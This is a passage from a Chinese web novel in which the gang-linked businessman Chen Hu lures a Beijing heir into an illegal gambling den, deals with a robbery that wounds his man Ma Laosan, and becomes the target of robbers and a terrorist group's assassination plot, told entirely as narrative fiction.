而他,绝不会轻易妥协。 他需要的,是更多的筹码。 更多的,像成本西这样的“肥羊”? 蛋糕总是要人越多,才能够做得越大! 猎手与猎物是谁,孰未可知! 陈虎发动了吉普,引擎发出低沉的轰鸣,卷起一阵尘土,消失在夜色中。 后视镜里,会所的霓虹灯光越来越远,最终变成一个模糊的光点。 陈虎吐出了一口烟雾,眼神冰冷。 他知道,成本西这样的二世祖,不过是棋盘上的一颗棋子。 真正的对手,还在暗处! 吉普一路疾驰,最终停在了孙家老宅门口。 陈虎推门而入,一股熟悉的檀香味扑面而来。 孙老正坐在太师椅上,手里盘着一串核桃,闭目养神。 听到动静,孙老缓缓睁开了眼睛。 随后,他双眼浑浊的目光落在陈虎身上。 “来了?” 陈虎闻言,点了点头,随后走到孙老的面前,恭敬地叫了一声道:“孙老!” “丫头呢?怎么没跟你一起回来?”孙老放下核桃,语气之中,带着一丝不满。 陈虎听到孙老这话,笑着解释道:“若薇在市里忙着呢!最近新收购了一家药厂,事情比较多。” 孙老闻言,当即就“哼”了一声,吹胡子瞪眼道:“忙?我看是忙着跟你谈情说爱吧!我这老头子,算是彻底被她忘了!” 陈虎连忙赔笑道:“哪能呢!若薇过几天就回来看您,这不还有我陪着您嘛!” 孙老斜睨了陈虎一眼,没好气地说道:“你小子少给我打马虎眼!丫头一走,我这耳朵边都清净了不少。” 陈虎嘿嘿一笑,却是不敢接话。 孙老随后叹了口气,语气缓和下来道:“药厂?你小子的步子迈得有点大啊!还没学会走就想跑?” 陈虎闻言,收起笑容,眼神坚定道:“跑不跑得起来,总得试了才知道!” 孙老盯着陈虎看了半晌,突然哈哈大笑起来道:“好!有志气!不愧是我孙家的女婿!” 老狐狸和小狐狸两人相互藏着心眼,随即对视而笑。 “孙老,还有一事。”陈虎斟酌着开口,手指轻轻敲击着红木茶几。 孙老这时睨了陈虎一眼道:“说。” “京圈的那些个二世祖们,打算下场了。”陈虎语气平静,仿佛在说一件无关紧要的小事一样。 孙老闻言,捋了捋胡须,浑浊的眼睛里面,却是闪过了一丝精光。 “年轻人嘛,总要闹腾闹腾!”他淡淡地说着,语气里面,听不出喜怒。 陈虎闻言,嘴角微微抽搐,这老狐狸,还真是滴水不漏! “您看这事儿……”陈虎试探性地询问着,眼睛却是不着痕迹地仔细观察着孙老的反应。 就见得,孙老随意的摆了摆手道:“年轻人之间的事情,我老头子就不插手了,你自己看着办吧!” 陈虎闻言,心中了然,孙老这是想掂量掂量他啊! “得嘞!您老人家歇着,我先走了!”陈虎陪着笑脸,随后起身告辞。 孙老闻言,点了点头,算是应允了。 陈虎走出孙家老宅后,夜风拂面,吹散了他脸上的笑意。 他的眼神冰冷,嘴角却是勾起了一抹玩味的笑容。 老狐狸想看戏? 那就让你看个够! 吉普车在夜色之中疾驰,陈虎的脑海中,却是思绪翻涌。 成本西,不过是个跳梁小丑而已! 真正的威胁,还并没有下场…… 回到家后,陈虎径直走向后院。 红拂女此时正坐在葡萄架下,一身红裙在夜色之中,格外妖娆。 “有事吗?”红拂女抬头看着陈虎,眼神冰冷。 陈虎闻言,点了点头道:“明天带你的人,走一趟!” 红拂女并没有多问,只是淡淡地应了一声道:“好!” 她知道,陈虎不会无缘无故的让她出手的。 这次,恐怕又是一场腥风血雨! 陈虎看着红拂女,眼神深邃。 这个女人,就像一把藏在鞘中的利剑。 一旦出鞘,必将见血封喉。 他需要这样一把利剑,为他扫清前路的障碍! 第225章 相信自己也没啥意义! 红拂女并未询问陈虎所谓的“走一趟”,具体指的是什么任务。 陈虎也没有着急开口解释,而是提到了另一件事情道:“记得我之前说的时机吗?到时候了!” 红拂女闻言,心头一颤,那双邪魅而绝美的眸子顿时就望向陈虎道:“你是说让我……” 陈虎微微颔首,眼中一片死寂,不起一丝波澜道:“花开花落,定数罢了。” 红拂女娇躯微颤,眼神晦暗不明,喃喃说道:“有时候我真怀疑,你的身体里面,住着一个恶魔!” 陈虎闻言,淡然一笑道:“所以,你认为会有天使来审判我?” 红拂女听到陈虎这话,不由得长出了一口气,摇了摇头道:“我不信基督,也不信善恶有报,否则的话,我睡不着觉,毕竟我的手从来都不干净,当然,我比起你来说,应该好很多。” “我唯一信任的只有我自己,毕竟,从我记事儿起,我的人生就像是一场没头没尾的报应!” 陈虎闻言,耸了耸肩,接着略微无奈的开口道:“那你为什么有这般反应?死一个和死一百个,无论死的是谁,你都该淡漠才是!” 红拂女摇了摇头。 诚然,她的手上满是鲜血。 对人命,她理应无比淡漠才对。 可要让她如陈虎一般,对自己身边的人下手,而且毫无负担,丝毫不顾纲常伦理,她自认为是做不到的。 有的人生在世俗,却又毫无世俗的人性。 有的人生在阴沟里,终日不见阳光,却透过一丝微光,对世俗理解并接受。 “那你呢,你信仰什么?”红拂女十分突兀的问道。 陈虎不假思索的回道:“我没有信仰,对这个世界各处的条条框框也好,纲常伦理、律法规则也好,因果报应、善恶之分也罢,甚至于包括我自己,都是如此。” “‘信仰’这个词,于我而言,没有任何意义。” “毕竟,哪怕是昨日的我与今日的我,也可以对同一件事情,做出截然相反的选择。” 红拂女闻言,秀眉微蹙,显然没理解陈虎的意思。 陈虎见状,饶有兴致地指了指窗外夜空中闪烁的繁星。 “古时候,人们信星象,信鬼神。” 他顿了顿,目光转向红拂女。 “现代人呢,相信律法,相信意识形态。” “一个公司职员,因为他相信公司规章制度,所以遵循。” 他点燃一支香烟,眼神深邃。 “一个人,因为他畏惧律法,所以不敢犯罪。” 陈虎说到这里,嘴角却是勾起了一抹玩味的笑容。 “信仰的本质,实际上就是一个个共同想象缔造的故事。” 红拂女依然一脸茫然,显然还是没明白陈虎想表达什么。 陈虎也不恼,接着解释道: “根据社会学研究发现,通过信息传递的组织规模上限是150人。” 他伸出一根手指,在空中比画了一下。 “超过这个上限,信息传递就无法有效调度组织成员。” 陈虎语气加重,一字一顿地说道: “这个时候,就需要故事担任这一角色。” 他以手托腮,眼神飘向远方。 “就像是我如今成立的陈氏粮农集团,主营各种农副产品加工。” 陈虎的眼中,此时闪过一丝精光。 “往后三个厂区,十二个车间,会有各种米粉面粉、粮油在加工打包后,倾销到世界各地。” 说到这里,陈虎的语气之中,带着一丝傲然。 “那时候,我们的产品会标注我们的商标,我们的产品会让千家万户知道陈氏粮农集团的存在。” 陈虎突然话锋一转,目光灼灼地盯着红拂女问道:“可什么能够证明陈氏粮农集团存在呢?” 红拂女闻言,不由得愣了一下,下意识地回答道:“厂区、生产线、产品、经营资质等等都能证明啊!” 陈虎听到这话,却是摇了摇头,嘴角随即勾起了一抹意味深长的笑容。 “那要是今天一场大火烧掉了厂区,员工们都遣返回家,陈氏粮农集团还在吗?公司还在吗?” 红拂女闻言,略一思索,十分肯定地回答道:“还在!因为厂区可以重建!” 陈虎点点头,随即又抛出一个问题: “那要是公司破产,厂区、员工都还在呢?” 红拂女这次毫不犹豫地回答: “那样的话,陈氏粮农集团已经不存在了。” 陈虎这时候打了个响指,眼中闪过了一丝赞赏道:“正是如此!” 他随即站起身,走到红拂女孩子的面前。 “厂房、设备、人员,这些都是看得见摸得着的东西,但它们并不能真正定义一个公司,一个集团。” 陈虎语气接着就低沉起来,带着一丝蛊惑。 “真正让一个组织存在的,是人们对它的共同想象,是它所代表的故事。” “所以说,就算厂房还在,设备还在,人员还在,只要法院一纸判决下来,说陈氏粮农集团破产清算,那么从那一刻起,陈氏粮农集团就不存在了。” 陈虎弹了弹烟灰,眼神玩味。 “明白我的意思吗?” “有点……”红拂女秀眉紧锁,神情惊愕,似乎在努力消化着陈虎这番惊世骇俗的言论。 “简单来说,集团这玩意儿,跟真实世界压根儿就没啥具体的链接。” 陈虎随即摊开了双手,做了个无奈的表情。 “咱们可以生产产品,卖到全世界,可以招人,可以被告,可以纳税,可以开账户……” 顿了顿,陈虎的语气加重。 “但实际上,这公司,不过是个‘虚拟实质’。” 红拂女闻言,默不作声,但她的大脑却是在飞速运转,像是在拼凑一个被打碎的拼图。 陈虎见状,继续解释道: “就像你相信意识形态能够缔造社会,就能够让无数老百姓拥立一个政府一样。” 说到这里,陈虎举起了一根手指。 “相信法律正义,就能够让一个律师为一个素不相识的人辩护。” 随后,陈虎又举起一根手指。 “相信那什么创世神上帝,就能够让人一辈子都觉得自己干的每一件事儿,都被那老头儿看着呢,干坏事是要下地狱的。” 陈虎笑了笑,语气之中,带着一丝嘲讽。 “可实际上呢?这玩意儿都只存在于人们的共同想象里。” 他环顾四周,语气低沉。 “这世界上,压根儿就没有什么神,什么政府,什么钱,什么道德,什么法律,什么正义……” 红拂女被陈虎的这番理论彻底震撼,世界观如同摔碎的玻璃,散落一地。 她不由得喃喃自语道:“那……那什么才是真的?” 陈虎没有直接回答红拂的问题,而是直接定义道:“所以说,相信自己也没啥意义!” 他的语气冰冷,带着一丝警告的意味! 第226章 你这地方,真够野的! “人是环境的产物,环境这玩意儿,限制又多,变化又快,所以说,人的本质,就是一个多元二次函数。” 陈虎盯着红拂女,眼神锐利。 “今天选择忠诚的人,明天说不定就叛变了!” 陈虎说出这番话,显然是在敲打红拂女。 红拂女闻言,当即深吸了一口气,没有反驳,只是低声问道:“我……我需要做什么?” 陈虎闻言,收起刚才的凌厉,语气恢复了平静。 “按计划进行!” 顿了顿,陈虎又补充道:“等我指示!” 说完,陈虎转身便回了屋,留下红拂女一人站在原地,神情茫然,像一尊失去了灵魂的雕塑。 夜风吹过,卷起几片落叶,在空中打着旋儿,最终落在地上,无声无息。 次日,陈虎一早就去了县城,充当司机给成本西开车。 陈虎开着吉普车,带着成本西在县城里面转悠。 “我说陈虎,你这县城也没啥意思啊!” 成本西打了个哈欠,昨夜的纵欲让他无精打采。 陈虎瞥了他一眼,嘴角却是勾起了一抹坏笑。 “这才哪儿到哪儿啊,带你去个有意思的地方。” 成本西闻言,当即撇了撇嘴,显然不以为意。 “京圈我都玩儿腻了,你这小地方,还能有啥新鲜的?” 陈虎听到成本西这话,却是没说话,只是神秘一笑,然后一脚油门,吉普车拐进了一条小巷。 巷子尽头,是一家看起来普普通通的夜总会。 “就这?” 成本西更加不屑了。 “这种地方,我闭着眼睛都能玩儿出花来!” 陈虎闻言,却是笑了笑,没解释,然后就拉着成本西就往里走。 穿过喧闹的大厅,陈虎带着成本西来到了一扇不起眼的暗门前。 轻轻一推,暗门无声地打开了。 一股混杂着汗味、香水味和烟草味的空气,顿时扑面而来。 成本西随即便愣住了。 暗门后面,是一个完全不同的世界。 数十个赤身裸体的荷官,正熟练地操作着各种赌局。 骰子、扑克、轮盘,应有尽有。 赌客们一个个红了眼,嘶吼着、叫骂着,将筹码疯狂地砸在赌桌上。 成本西虽然出身高贵,什么花活儿都见过,但这般低俗的黄赌,他也是头一次见。 他瞪大了眼睛,像个没见过世面的乡巴佬。 “怎么样?刺激吧?” 陈虎的声音,在成本西的耳边响起。 成本西闻言,咽了口唾沫,半天说不出话来。 “这……这都是些什么玩意儿?” 陈虎笑了笑,开始给成本西介绍。 “那边是骰宝,这边是牌九,那边是轮盘……” 他指着不同的赌局,一一解释。 “玩法简单粗暴,但刺激得很!” 陈虎顿了顿,又补充了一句。 “而且,这里面的水很深!” 成本西听得津津有味,眼神也逐渐变得兴奋起来。 “陈虎,你这地方,真够野的!” 陈虎闻言,拍了拍成本西的肩膀。 “喜欢就玩儿,随便玩儿!” 说着,陈虎就拍了拍手,当即有一个身材窈窕的荷官带着一个褐色皮箱走了过来,皮箱打开,里面全是筹码。 “不用客气!就当是兄弟我招待你的!” 成本西当即一把搂住荷官,一手接过皮箱,接着哈哈一笑,表示道:“那我可就不客气了,你不一起来玩两把?” 陈虎闻言,摇了摇头,然后笑道:“我怕回头若薇问我,像这种场合,你自己玩就是!” 成本西听到陈虎的话,一边大笑着摇了摇头,一边搂着那个荷官,走向赌桌道:“软饭不好吃啊陈虎!” 陈虎神色淡然,没有应声。 不多时,成本西就沉浸在了赌博的刺激之中。 陈虎站在一旁,看着成本西疯狂下注的样子,嘴角也是露出了一丝不易察觉的冷笑。 他知道,成本西已经上钩了。 这个京圈二世祖,终究还是逃不过人性的弱点。 陈虎随后点燃了一根烟,深深地吸了一口。 夜还很长,游戏才刚刚开始。 他转身离开了暗室,留下成本西一人在里面尽情挥霍。 暗门缓缓关上,将喧闹的赌场隔绝在了另一个世界。 陈虎弹了弹烟灰,猩红的火光在夜色之中明明灭灭。 “这个世界上,有两种东西不能直视,一是太阳,二是人心鬼蜮。” 陈虎吐出一口烟圈,烟雾缭绕之中,他的脸显得有些模糊。 人性从来经不起考验,如果经得起,那就是诱惑力还不够大。 陈虎的眼神深邃,仿佛能洞穿一切。 “贪婪是写在基因里的,就像是……” 他顿了顿,似乎在思考一个合适的比喻。 “将博弈论拓展到各个方面,那么哪怕是生活中细微末节的与人交际,你也能看清什么是‘资源悖论’……” 资源悖论指的是拥有越多资源的人,往往越渴望获得更多,而他们也更容易获得更多,形成一个循环,最终导致资源的极度不平衡。 成本西的沉沦自然是在陈虎意料之中,的尽管他出身京圈,有着顶级资源,享受过旁人不曾享受过的快乐,可那又如何? 真正的欲望不一定藏在豪宅里,越是基本的欲望,越容易被挑起。 陈虎掐灭了烟头,转身便走向停在巷子口的吉普车。 此时,赌场内,成本西已经彻底陷入了疯狂。 他一把将手中的筹码全部都推了出去,同时嘶吼着大喊道:“老子全压!” 荷官闻言,妩媚一笑,然后开始摇动骰盅。 骰子在骰盅里面发出清脆的碰撞声,成本西的心也跟着一起跳动。 他的呼吸急促,眼睛死死地盯着荷官手中的骰盅。 “开!” 荷官揭开骰盅,三个骰子赫然出现在成本西的眼前。 “三个六,豹子!” 周围的赌客们顿时爆发出阵阵惊呼。 成本西一开始也愣住了,随即狂喜地大笑起来。 “哈哈哈……老子赢了!老子赢了!” 他一把搂过身旁的荷官,狠狠地亲了一口。 “再来!再来!” 成本西的眼中,充满了贪婪,他已经完全被赌博的快感所支配。 他不知道,这一切都在陈虎的掌控之中。 陈虎坐在吉普车里面,看着赌场的方向,嘴角露出一丝冷笑。 “游戏才刚刚开始!” 陈虎随后发动了车子,消失在夜色之中。 与此同时,红拂女正带领着她的手下,按照陈虎的指示,悄无声息地行动着。 第227章 敢动他陈虎的人,就要付出代价! 傍晚,夕阳的余晖洒在县城略显破旧的街道上,给一切镀上了一层昏黄的色彩。 陈氏粮农集团的转销点,就坐落在这样一条街道上。 转销点的门口,堆放着一些麻袋,几个穿着朴素的货郎正等着领货。 一辆马车停在路边,车夫不耐烦地挥舞着鞭子,驱赶着周围的苍蝇。 大量的走货郎会从这里拿到附近乡镇的经销代理,而后统一开货去送往乡下。 如今,陈氏粮农集团刚起步,所以周边销售还是核心产业链。 也因为物流不发达,以及道路不完善,所以这些乡镇经销商也被叫做货郎,他们都是用马车拉载货物。 而他们开货需要部分预付款,所以这里有着大量现金。 这也导致有六个青年,盯上了这些现金,冲着这笔现金而来。 就见得,六个身影鬼鬼祟祟地出现在街角,他们都戴着头套,只露出眼睛,眼神之中,闪烁着贪婪的光芒。 为首的青年名叫朱旭,满脸横肉,身材高大魁梧,鼻音浓重,一看就是个狠角色。 “都给我机灵点,速战速决!”朱旭压低声音说道,手里紧紧握着一把土制手枪。 “放心吧!旭哥,这点小事还不是手到擒来嘛!”一个小弟谄媚地笑着。 他们已经观察这个转销点好几天了,知道每天傍晚都会有大笔的现金进出。 今天,他们的目标就是这笔钱! 朱旭与手底下的兄弟们并非是本地人,却也知道这个产业是马关口道上最大的大佬陈虎的,但对于这六个不在道上,反倒是四处流转作案的亡命之徒而言,所谓的“道上”,完全就不值一提,他们压根不在意。 最近几日,包专没了消息,成小天被派去找人了,所以这处倾销点都是由马老三亲自来收货款的。 就见得,马老三哼着小曲,从转销点走了出来,他的手里提着一个鼓鼓囊囊的皮箱。 他今天心情不错,因为收到的货款比平时多了不少。 “站住!”朱旭突然带着小弟们冲了出来,将马老三团团围住。 马老三顿时就吓了一跳,手里的皮箱差点儿掉在地上。 “你们……你们想干什么?”马老三的声音有些颤抖。 “少废话!把钱交出来!”朱旭恶狠狠地说道,用手枪指着马老三的脑袋。 马老三脸色苍白,他知道这些人是亡命之徒,什么事情都干得出来。 “这……这是公司的钱,我不能给你们!”马老三强作镇定地说道。 “不给?”朱旭冷笑一声,直接大喝道:“那就别怪我们不客气了!” “砰!”一声枪响,马老三应声倒地,鲜血染红了地面。 周围的货郎们见此,顿时吓得四散奔逃,现场一片混乱。 朱旭一把抢过皮箱,打开一看,里面满满的都是钞票。 “哈哈哈……发财了!”朱旭兴奋地大叫起来。 他的小弟们也跟着欢呼雀跃,仿佛已经看到了美好的未来。 可他们并不知道,这仅仅是噩梦的开始。 夜幕降临,县城笼罩在一片黑暗之中。 陈虎接到电话时,浓眉紧锁,指关节捏得咔咔作响。 “马老三怎么样了?” 电话那头传来一个略带慌张的声音道:“虎哥,老三……老三让人给打了,现在在县医院抢救呢!” 陈虎猛地站起身,掀翻了面前的茶杯,茶水溅了一地。 “我知道了!” 随后,陈虎挂断电话,大步走向门外,司机老王已经发动了吉普车,等候多时。 陈虎一上车,就沉声说道:“去县医院!” 吉普车咆哮着冲出院子,卷起一阵尘土。 陈虎坐在后座,脸色阴沉得吓人,一股冰冷的杀意弥漫开来。 老王从后视镜里偷偷看了一眼陈虎,大气都不敢喘一下。 他知道,有人要倒霉了? 县医院,弥漫着消毒水的味道。 陈虎快步走到抢救室门口,三个粮农集团的职员正焦急地等待着。 看到陈虎来了,他们像是找到了主心骨,纷纷围了上来。 “虎哥!” “老三怎么样了?”陈虎语气低沉,目光锐利。 “还在里面抢救呢!医生说情况不太乐观。”一个小弟低着头说道。 就在这时,抢救室的门打开了,一个穿着白大褂的医生走了出来。 “医生,怎么样了?”陈虎神色淡漠问道。 医生摘下口罩,舒了一口气说道:“病人已经脱离危险了,子弹打中了肩膀,好在没有伤及要害。” 陈虎走进病房,看到马老三躺在病床上,脸色苍白,肩膀上缠着厚厚的绷带。 “老三,感觉怎么样?”陈虎走到床边,关切地问道。 马老三闻言,虚弱地笑了笑道:“虎哥,我没事,死不了!” “到底怎么回事?”陈虎问道,语气之中,带着一丝怒意。 马老三随后简单地讲述了事情的经过,六个蒙面歹徒,抢走了转销点的货款,还开枪打伤了他。 陈虎听完,眼中当即闪过一丝寒芒。 “我知道了!你好好休息,这件事情我会处理的。” 随后,陈虎走到病房的座机旁,拨通了一个电话。 “喂!是我!” “通知黑白两道,全力通缉这六个人,我要他们活要见人,死要见尸!” 陈虎的声音,冰冷而坚决,带着一股不容置疑。 放下电话,陈虎看了一眼还躺在病床上的马老三,眼中闪过一丝狠厉。 敢动他陈虎的人,就要付出代价! 春雨淅淅沥沥,像断了线的珠子,没完没了地往下落。 灰蒙蒙的天空,不见一丝阳光,压抑得让人喘不过气。 马关口城郊,一处废弃的库房里面,阴冷潮湿。 六个男人缩着身子,围在一个火堆前,身上裹着破旧的棉袄,瑟瑟发抖。 他们就是五天前抢劫粮农集团转销点,打伤马老三的那六个人人。 朱旭的手里,此时正提着一个塑料袋,里面装着十个硬邦邦的馍馍。 他刚从附近农户那里,小心翼翼地买了些吃的回来。 “喏!先垫垫肚子!”朱旭把馍馍分给其他五人。 他的五个小弟接过馍馍后,就立刻狼吞虎咽起来,像是饿死鬼投胎一样。 很明显,他们自从抢劫了转销点的现金之后,已经没吃过几顿饱饭了。 第228章 刺杀陈虎 库房里面,除了咀嚼声之外,一片寂静。 朱旭看着眼前这五个不成器的家伙,心里不由得一阵烦躁。 “妈的!这陈虎到底什么来头?”他狠狠地咬了一口馍馍,含糊不清地大骂道:“黑白两道竟然都发了话要抓咱们,简直是逆天了!” 一个瘦猴似的男人,在咽下嘴里的馍馍后,小心翼翼地说道:“旭哥,这陈虎怕是不简单啊!” 另一个满脸络腮胡子的男人随即也附和道:“是啊!听说他手下有一支很厉害的队伍,咱们这次怕是踢到铁板了。” “马关口现在只能进不能出,咱们被困在这里,迟早会被抓住。”一个年纪稍小的男人,一脸绝望。 库房里的气氛,随后更加压抑了。 哪怕他们并不在意马关口道上的人,但他们现在被困在马关口,黑白两道都在找他们,却是也让他们头疼不已,不得不过上了东躲西藏的日子。 朱旭随后冷笑一声,眼中闪过一丝狠厉。 “怕什么?老子有计划!” 环视了一圈,朱旭语气坚定地说道:“我们不仅要逃出去,还要再捞一笔!” “陈虎不是能耐吗?咱们就劫持他!” 朱旭的眼中,此时闪烁着贪婪的光芒。 “劫持了陈虎,咱们就有了谈判的筹码,到时候,要钱有钱,要人有人!” 朱旭的话,顿时就让五个小弟精神一振,眼中重新燃起了希望。 “旭哥,这……这能行吗?”瘦猴经过最开始被朱旭说动之后,随即细细想了想,却是有些犹豫。 “怎么不行?”朱旭瞪了瘦猴一眼道:“富贵险中求!干了这一票,咱们就远走高飞,再也不用过这种提心吊胆的日子了!” 随后,朱旭站起身,走到库房门口,望着外面连绵的春雨,眼中充满了野心。 “陈虎,你等着!” 朱旭的心里暗暗发誓,一定要让陈虎付出代价。 雨,还在下。 库房里面,六个亡命之徒,正在密谋着一场更加疯狂的计划! 自打上次被成小天放走后,包专去到医院,就把手给接上了。 但住院没两天,包专就跑了出来。 原因无它,仅仅是因为包专害怕被陈虎找到而已。 此时,包专蜷缩在廉价汽车旅馆的单人床上,断手处隐隐作痛。 他不敢去大医院,怕被陈虎的人找到。 小诊所的医生技术不怎么样,接好的骨头让他总觉得不对劲。 包专摸了摸缠着脏兮兮绷带的断手,心里一阵烦躁。 “妈的!这日子什么时候是个头啊?”包专不由得低声咒骂了一句。 突然,一阵敲门声响起。 包专一脸警惕地从床上坐起来,同时抓起了床头的一把生锈的水果刀。 “谁?” “收房费!” 门外,传来了一个冰冷的声音。 包专犹豫了一下,放下水果刀,走到门口,透过猫眼往外看。 一个穿着黑色风衣,戴着墨镜的男人站在门外。 男人身材高大,神色冷峻,手里提着一个黑色的公文包。 显然,这个人并不是旅馆老板。 包专心里不由得咯噔一下,握紧了门把手。 “你找谁?” “黑狗!”男人言简意赅。 包专闻言,当即更加警惕道:“我不认识你!” 男人看着包专,嘴角露出了一丝冷笑道:“开门!我有事找你!” 包专犹豫了片刻,最终还是打开了门。 男人随即走进房间,随手关上门。 他摘下墨镜,露出一双冰冷的眼睛。 包专顿时就感觉有一股寒意,从他的脚底直窜头顶。 “你是谁?”包专强作镇定地问道。 “我来自九头蛇,华夏分部的分队队长。”男人的语气冰冷,仿佛不带一丝感情。 包专闻言,顿时大惊失色,手里的水果刀差点都掉在地上。 九头蛇! 那个臭名昭著的国际恐怖组织! 跟了陈虎那么久,哪怕与九头蛇组织没有打过交道,包专也知道这个组织的来历。 他们怎么会找上自己? “你……你们找我干什么?”包专的声音,此时有些颤抖。 “刺杀陈虎!”男人直截了当地说出了他来找包专的目的。 包专闻言,不由得瞪大了眼睛,仿佛听到了什么不可思议的事情。 刺杀陈虎? 他疯了吗? “你……你知道你在说什么吗?”包专结结巴巴地说道:“陈虎……陈虎他……” “我知道他是谁!”男人直接打断了包专道:“也知道你和他之间的关系。” 包专听到这话,心里不由得更加慌乱了。 他知道陈虎和九头蛇组织之间肯定有什么关联,但他一直不敢问。 现在,九头蛇组织找上门来,让他去刺杀陈虎。 这让他如何是好? “我……我被陈虎通缉,回去就是送死!”包专试图拒绝。 男人闻言,却是冷笑一声道:“你没得选!” “要么刺杀陈虎,要么,你全家,包括你兄弟成小天全家,都得死!” 包专闻言,脸色瞬间变得煞白,身体也跟着剧烈地颤抖起来。 他紧紧地握着水果刀,指关节都泛白了。 “你……你们……”包专愤怒地瞪着男人,大喊道:“你们竟然这么卑鄙!” 男人却是无所谓地耸了耸肩道:“你没资格跟我谈条件!” 包专随后深吸了一口气,努力让自己冷静下来。 他知道,他已经没有退路了。 要么死,要么拼一把。 其实,男人给出的威胁对于包专而言,更像是一条出路。 陈虎若是死了,那包专不仅不用担惊受怕,还有的是翻身机会。 再怎么着,这也比他残废之后四处流浪来的好! “好!我答应你!”包专咬牙切齿地说道。 男人闻言,满意地点了点头道:“明智的选择!” 包专随后跟着男人,走出了汽车旅馆。 男人一言不发,步履匆匆。 包专一瘸一拐地跟在后面,心里忐忑不安。 他不知道男人要带他去哪里,也不知道接下来会发生什么。 断手处的疼痛一阵阵袭来,让他更加烦躁。 男人带着包专穿过几条街道,来到了镇子边缘。 然后,他们拐进一条小路,朝着后山走去。 小路崎岖不平,包专走得更加艰难。 他好几次差点摔倒,都被男人一把扶住。 男人的手冰冷而有力,让得包专感到一丝恐惧。 走了大约一个小时,他们来到后山一个隐蔽的山洞前。 山洞入口被茂密的树枝遮挡,如果不是有人带路,很难发现。 男人拨开树枝,率先走了进去。 包专犹豫了一下,也跟着走了进去。 山洞里面很昏暗,空气之中,弥漫着一股潮湿的味道。 包专的眼睛慢慢适应了黑暗,才看清山洞里面的景象。 几个穿着迷彩服的男人,此时正在组装一些东西。 地上散落着各种零件和工具。 包专一眼就认出,那些东西是烈性炸弹。 他的心不由得猛地一沉,一股不祥的预感顿时涌上了心头。 “这是……要干什么?”包专强忍着心中的恐惧,开口问道。 男人闻言,却是冷笑一声道:“当然是准备干一票大的!” “我……我要做什么?”包专的声音,随即有些颤抖。 男人走到包专的面前,居高临下地看着他。 “从现在开始,你哪儿都不能去。” “就在这里,等着执行任务!” 包专闻言,不由得瞪大了眼睛道:“什么任务?” 男人没有回答,而是继续说道:“如果你拒绝,或者尝试逃跑……” 说到这里,男人的语气却是突然变得冰冷道:“所有与你沾亲带故,有联系的朋友,都会死!” 包专闻言,脸色瞬间又变得煞白了。 第229章 这个世界,不是非黑即白! 一些人认为,面对痛苦和挑战是个人成长的重要部分。 清醒能够带来更深的自我理解,让他们更好地面对人生的复杂性。 清醒的痛苦往往伴随着孤独和不安,很多人可能会感觉自己与他人无法产生共鸣,尤其是在周围人都选择逃避现实时。 选择往往因人而异。 对包专而言,他没得选。 答应是未知的,但不答应这群人的要求,后果他无从承担。 杀陈虎? 包专自然乐见其成! 可他知道当初的马加爵与其手底下的马仔什么下场,马关口几乎可以只手遮天的司家又是什么下场! 被成小天放走后,包专便浑浑噩噩的四处逃逸。 以前,他不需要直面他犯下的过失,从而承担代价,可如今,他却不得不思考着即将发生的一切。 无论他如何选,都会有无数不可控的后果。 山洞内,包专看着正在熟练组装炸弹,调试引爆器的几人,这种眼睁睁看着自己走上绝路,却无力阻止的情形,无疑让他痛苦万分。 但对于大多数人而言,大家历来都有主导自己选择的机会。 人们往往赞同愚昧的快乐,认为它让生活更轻松、更愉快,逃避现实的苦恼,享受简单的快乐。 一些人认为,愚昧可能导致一种无畏感,使他们能更自在地生活,不受痛苦和压力的困扰。 就像成小天一样。 陈虎虽说他的考卷还有一份,暂时不会下发,像包专的事儿陈虎也并未追究,可成小天近来仍旧执着于寻找包专下落。 他并未做出对形势判断,而是一味地即想要对放走包专的事儿做出补救,又期盼着能给为包专做出的做出补救。 几番寻找包专无果之后,这日午后,成小天站在陈虎办公室外徘徊许久,最终咬牙走了进去。 陈虎办公室,烟雾缭绕。 他手里夹着一支烟,目光落在摊开的文件上,眉头紧锁。 报表上的数字像一个个跳动的音符,在他脑海里面谱写着复杂的旋律。 “咚!咚!咚!” 敲门声响起,打断了陈虎的思绪。 “进来!” 成小天推门而入,脸上带着一丝犹豫和不安。 他的手里紧紧攥着一块叠得方方正正的手帕,手心微微出汗。 “虎哥!”成小天轻声叫道。 陈虎抬起头,示意他坐下。 “坐!喝茶!” 他指了指桌上的茶杯,语气平静。 成小天颤颤巍巍地坐下,感觉屁股底下像是有钉子一样。 他拿起茶杯,双手捧着,却不敢喝。 “虎哥,我想跟您说说黑狗的事儿……”成小天终于鼓起勇气开口。 他的声音很小,像是蚊子在嗡嗡叫。 陈虎没有打断他,只是静静地看着他,眼神深邃。 “我想……能不能再给他一次机会?”成小天小心翼翼地问道,语气里面,带着一丝恳求。 “我可以担保他,以后绝对不会再犯了。” 成小天抬起头,目光真诚地看着陈虎。 陈虎拿起茶壶,给成小天的杯子里面,续了些水。 “这个世界,不是非黑即白!” 陈虎缓缓开口,语气低沉。 “人有贪欲,并不可怕。” “可怕的是不考虑后果,只顾眼前欲望。” 成小天听着陈虎的话,心里面更加忐忑不安。 “虎哥,我知道黑狗错了,但他也是一时糊涂……” 成小天再次开口求情,声音里面,带着一丝哽咽。 陈虎闻言,摇了摇头。 “如果他骗我,能骗过我,那是他的本事!” “可他用偷,这说明他不仅不够忠诚,更没能耐。” “我手底下,当真需要这样的人吗?” 陈虎的语气加重了几分,眼神也变得锐利起来。 成小天低着头,不敢说话。 “还记得那天我跟你说的元亨利贞吗?”陈虎突然问道。 成小天闻言,浑身一颤,连忙点头。 “记得……记得!” 他的声音颤抖着,几乎听不清。 “不会又不说,教了又不学,学会了也不改,到最后还要背后捅我一刀,你让我怎么办?”陈虎怒斥道,猛地一拍桌子。 茶杯里面的水溅了出来,洒在桌子上。 成小天眼角噙着泪光,猛地站起身。 “扑通”一声,他跪在了陈虎面前。 还没等他开口求情,陈虎便冷冷地打断了他。 “小天,你放走黑狗的事儿,我还没追究。” “但不代表我不在意。” 成小天闻言浑身颤抖,不敢再出声。 他低着头,泪水无声地滑落,滴在冰冷的地板上。 办公室里,气氛凝重得让人窒息。 陈虎挥了挥手,示意成小天起身。 “起来吧!男儿膝下有黄金,往后除了天地父母,谁也不能跪!” 成小天闻言,身子一颤,连忙从地上爬了起来。 他低着头,不敢看陈虎的眼睛,眼眶依旧红红的。 重新坐回椅子上,成小天感觉浑身无力,像是虚脱了一般。 陈虎重新点燃了一支烟,深吸了一口,缓缓吐出烟圈。 “黑狗的事儿,到此为止,不必再提。” 烟雾缭绕中,陈虎的声音听起来有些缥缈,却又带着不容置疑的威严。 成小天闻言,默默地点了点头,心里五味杂陈。 他知道,虎哥这是给他留了面子,也是给兄弟们一个警告。 “你去一趟北部边境!” 